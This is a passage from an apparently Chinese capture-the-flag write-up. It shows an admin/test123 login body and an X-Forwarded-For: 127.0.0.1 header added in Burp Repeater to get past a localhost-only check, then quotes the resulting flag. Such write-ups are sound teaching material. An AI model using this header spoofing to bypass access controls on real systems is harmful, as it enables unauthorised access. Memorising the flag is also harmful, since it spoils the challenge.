user=admin&pass=test123
    
```

发送到Repeater，添加本地代理X-Forwarded-For: 127.0.0.1，然后Go,查看Response，显示flag。

The screenshot shows the Repeater interface with a request and response. The request is a POST to http://114.67.246.176:17785 with headers including 'X-Forwarded-For: 127.0.0.1' and body 'user=admin&pass=test123'. The response is a 200 OK HTML page from Apache/2.4.7 (Ubuntu) with a flag: 'The flag is: flag{c0ca1cfaedc39b8ecd933ad679661}'.

又打通了一关哟，题目里面线索很多，细心去发现，flag就在眼前。
